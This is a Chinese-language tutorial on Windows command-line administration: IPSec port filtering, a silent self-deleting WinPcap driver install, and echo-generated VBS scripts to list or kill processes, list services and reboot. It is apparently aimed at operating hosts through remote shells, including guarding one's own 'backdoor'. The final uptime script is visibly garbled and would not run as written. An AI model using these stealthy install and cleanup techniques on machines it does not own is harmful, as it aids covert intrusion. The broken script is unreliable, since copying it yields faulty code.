首先需要指出的是,IPSec和TCP/IP筛选是不同的东西,大家不要混淆了。TCP/IP筛选的功能十分有限,远不如IPSec灵活和强大。下面就说说如何在命令行下控制IPSec。

XP 系统用ipseccmd,2000下用ipsecpol。遗憾的是,它们都不是系统自带的。ipseccmd在xp系统安装盘的 SUPPORT/TOOLS/SUPPORT.CAB 中,ipsecpol在2000 Resource Kit里。而且,要使用ipsecpol还必须带上另外两个文件:ipsecutil.dll和text2pol.dll。三个文件一共119KB。

IPSec可以通过组策略来控制,但我找遍MSDN,也没有找到相应的安全模板的语法。已经配置好的IPSec策略也不能被导出为模板。所以,组策略这条路走不通。IPSec的设置保存在注册表中
(HKEY_LOCAL_MACHINE/SOFTWARE /Policies/Microsoft/Windows/IPSec/Policy/Local),理论上可以通过修改注册表来配置IPSec。但很多 信息以二进制形式存放,读取和修改都很困难。相比之下,上传命令行工具更方便。

关于ipsecpol和ipseccmd的资料,网上可以找到很多,因此本文就不细说了,只是列举一些实用的例子。
在设置IPSec策略方面,ipseccmd命令的语法和ipsecpol几乎完全一样,所以只以ipsecpol为例:

1,防御rpc-dcom攻击

ipsecpol -p myfirewall -r rpc-dcom -f *+0:135:tcp *+0:135:udp *+0:137:udp *+0:138:udp *+0:139:tcp *+0:445:tcp *+0:445:udp -n BLOCK -w reg -x

这条命令关闭了本地主机的TCP135,139,445和udp135,137,138,445端口。
具体含义如下:
-p myfirewall 指定策略名为myfirewall
-r rpc-dcom 指定规则名为rpc-dcom
-f …… 建立7个筛选器。*表示任何地址(源);0表示本机地址(目标);+表示镜像(双向)筛选。详细语法见ipsecpol -?
-n BLOCK 指定筛选x作是“阻塞”。注意,BLOCK必须是大写。
-w reg 将配置写入注册表,重启后仍有效。
-x 立刻激活该策略。

2,防止被ping

ipsecpol -p myfirewall -r antiping -f *+0::icmp -n BLOCK -w reg -x

如果名为myfirewall的策略已存在,则antiping规则将添加至其中。
注意,该规则同时也阻止了该主机ping别人。

3,对后门进行IP限制
假设你在某主机上安装了DameWare Mini Remote Control。
为了保护它不被别人暴破密码或溢出,应该限制对其服务端口6129的访问。

ipsecpol -p myfw -r dwmrc_block_all -f *+0:6129:tcp -n BLOCK -w reg
ipsecpol -p myfw -r dwmrc_pass_me -f 123.45.67.89+0:6129:tcp -n PASS -w reg -x

这样就只有123.45.67.89可以访问该主机的6129端口了。
如果你是动态IP,应该根据IP分配的范围设置规则。比如:

ipsecpol -p myfw -r dwmrc_block_all -f *+0:6129:tcp -n BLOCK -w reg
ipsecpol -p myfw -r dwmrc_pass_me -f 123.45.67.*+0:6129:tcp -n PASS -w reg -x

这样就允许123.45.67.1至123.45.67.254的IP访问6129端口。

在写规则的时候,应该特别小心,不要把自己也阻塞了。如果你不确定某个规则的效果是否和预想的一样,可以先用计划任务“留下后路”。例如:

c:/>net start schedule
Task Scheduler 服务正在启动 ..
Task Scheduler 服务已经启动成功。

c:/>time /t
12:34

c:/>at 12:39 ipsecpol -p myfw -y -w reg
新加了一项作业,其作业 ID = 1

然后,你有5分钟时间设置一个myfw策略并测试它。5分钟后计划任务将停止该策略。如果测试结果不理想,就删除该策略。

c:/>ipsecpol -p myfw -o -w reg

注意,删除策略前必须先确保它已停止。不停止它的话,即使删除也会在一段时间内继续生效。持续时间取决于策略的刷新时间,默认是180分钟。

如果测试通过,那么就启用它。

c:/>ipsecpol -p myfw -x -w reg

最后说一下查看IPSec策略的办法。
对于XP很简单,一条命令搞定——ipseccmd show filters
而ipsecpol没有查询的功能。需要再用一个命令行工具netdiag。它位于2000系统安装盘的SUPPORT/TOOLS/SUPPORT.CAB中。(已经上传了三个文件,也就不在乎多一个了。)

netdiag需要RemoteRegistry服务的支持。所以先启动该服务:

net start remoteregistry

不启动RemoteRegistry就会得到一个错误:

[FATAL] Failed to get system information of this machine.

netdiag这个工具功能十分强大,与网络有关的信息都可以获取!不过,输出的信息有时过于详细,超过命令行控制台cmd.exe的输出缓存,而不是每个远程cmd shell都可以用more命令来分页的。

查看ipsec策略的命令是:
netdiag /debug /test:ipsec

然后是一长串输出信息。IPSec策略位于最后。

软件安装
一个软件/工具的安装过程,一般来说只是做两件事:拷贝文件到特定目录和修改注册表。只要搞清楚具体的内容,那么就可以自己在命令行下实现了。(不考虑安装后需要注册激活等情况)

WinPcap是个很常用的工具,但必须在窗口界面下安装。在网上也可以找到不用GUI的版本(但还是有版权页),其实我们完全可以自己做一个。

以WinPcap 3.0a 为例。通过比较安装前后的文件系统和注册表快照,很容易了解整个安装过程。
除 去反安装的部分,关键的文件有三个:wpcap.dll,packet.dll和npf.sys。前面两个文件位于system32目录下,第三个在 system32/drivers下。而注册表的变化是增加了一个系统服务NPF。注意,是系统服务(即驱动)不是Win32服务。

作 为系统服务,不但要在HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services下增加主键,在 HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Enum/Root下也增加主键。而后者默认只有 SYSTEM身份才可以修改。幸运的是,并不需要手动添加它,winpcap被调用时会自动搞定。甚至完全不用手动修改注册表,所有的事winpcap都 会自己完成,只需要将三个文件复制到合适的位置就行了。

作为范例,还是演示一下如何修改注册表:利用前面说过的inf文件来实现。

[Version]
Signature=”$WINDOWS NT$”
[DefaultInstall.Services]
AddService=NPF,,winpcap_svr
[winpcap_svr]
DisplayName=Netgroup Packet Filter
ServiceType=0x1
StartType=3
ErrorControl=1
ServiceBinary=%12%/npf.sys

将上面这些内容保存为_wpcap_.inf文件。
再写一个批处理_wpcap_.bat:

rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 %CD%/_wpcap_.inf
del _wpcap_.inf
if /i %CD%==%SYSTEMROOT%/system32 goto COPYDRV
copy packet.dll %SYSTEMROOT%/system32/
copy wpcap.dll %SYSTEMROOT%/system32/
del packet.dll
del wpcap.dll
:COPYDRV
if /i %CD%==%SYSTEMROOT%/system32/drivers goto END
copy npf.sys %SYSTEMROOT%/system32/drivers/
del npf.sys
:END
del %0

然后用winrar将所有文件(5个)打包为自解压的exe,并将『高级自解压选项』->『解压后运行』设置为_wpcap_.bat,命令行的winpcap安装包就制作完成了。

注意,批处理最后一行没有回车符。否则会因为正在运行而无法删除自己。

所有的软件安装,基本上可以套用这个思路。但也有例外的,那就是系统补丁的安装。幸好,Windows补丁包支持命令行安装。
比如:

KB824146.exe -n -z -q

-n 不保留备份
-z 不重起
-q 安静模式

如果有一堆补丁要打,那么用RAR打包成自解压文件,外加一个批处理。

for %%f in (KB??????.exe) do %%f -n -z -q
for %%f in (KB??????.exe) do del %%f
del %0

Windows脚本
很多事用脚本来做是很简洁的。下面给出几个常用脚本的echo版。

1,显示系统版本

@echo for each ps in getobject _ >ps.vbs
@echo (“winmgmts://./root/cimv2:win32_operatingsystem”).instances_ >>ps.vbs
@echo wscript.echo ps.caption^&” “^&ps.version:next >>ps.vbs
cscript //nologo ps.vbs & del ps.vbs

2,列举进程

@echo for each ps in getobject _ >ps.vbs
@echo (“winmgmts://./root/cimv2:win32_process”).instances_ >>ps.vbs
@echo wscript.echo ps.handle^&vbtab^&ps.name^&vbtab^&ps.executablepath:next >>ps.vbs
cscript //nologo ps.vbs & del ps.vbs

3,终止进程

@echo for each ps in getobject _ >pk.vbs
@echo (“winmgmts://./root/cimv2:win32_process”).instances_ >>pk.vbs
@echo if ps.handle=wscript.arguments(0) then wscript.echo ps.terminate:end if:next >>pk.vbs

要终止PID为123的进程,使用如下语法:
cscript pk.vbs 123

如果显示一个0,表示终止成功。

然后:
del pk.vbs

4,重启系统

@echo for each os in getobject _ >rb.vbs
@echo (“winmgmts:{(shutdown)}!//./root/cimv2:win32_operatingsystem”).instances_ >>rb.vbs
@echo os.win32shutdown(2):next >>rb.vbs & cscript //nologo rb.vbs & del rb.vbs

5,列举自启动的服务

@echo for each sc in getobject(“winmgmts://./root/cimv2:win32_service”).instances_ >sc.vbs
@echo if sc.startmode=”Auto” then wscript.echo sc.name^&” – “^&sc.pathname >>sc.vbs
@echo next >>sc.vbs & cscript //nologo sc.vbs & del sc.vbs

6,列举正在运行的服务

@echo for each sc in getobject(“winmgmts://./root/cimv2:win32_service”).instances_ >sc.vbs
@echo if sc.state=”Running” then wscript.echo sc.name^&” – “^&sc.pathname >>sc.vbs
@echo next >>sc.vbs & cscript //nologo sc.vbs & del sc.vbs

7,显示系统最后一次启动的时间

@echo for each os in getobject _ >bt.vbs
@echo (“winmgmts://./root/cimv2:win32_operatingsystem”).instances_ >>bt.vbs
@echo wscript.echo os.lastbootuptime:next >>bt.vbs & cscript //nologo bt.vbs & del bt.vbs

显示结果的格式是:
yyyymmddHHMMSS******ZZZZ
_年_月日时分秒_微秒_时区

8,显示系统运行时间

@echo for each os in getobject _ >rt.vbs
@echo (“winmgmts://./root/cimv2:win32_perfrawdata_perfos_system”).instances_ >>rt.vbs
@echo s=os.timestamp_sys100ns:l=len(s):s=left(s,l-7):for i=1 to l-7 >>rt.vbs
@echo t=t^&mid(s,i,1)=t/86400:r=r^&d:t=t mod 86400:next >>rt.vbs
@echo wscript.echo cint&reg;^&”d “^&t/3600^&”h “^&t/60 mod 60^&”m “^&t mod 60^&”s”:next >>rt.vbs
cscript //nologo rt.vbs & del rt.vbs

这个运行时间是从性能计数器中获得的64位整型数,不会出现在49.7天后溢出的情况。

附言
cmd shell博大精深,本文挂一漏万讲了一些常用技巧,希望对各位有所帮助。

也许你早知道了这些方法,也许你有更好的方法,希望你能写出来和大家分享。

最后,感谢你耐心看完本文。本人水平有限,错误之处恳请指正。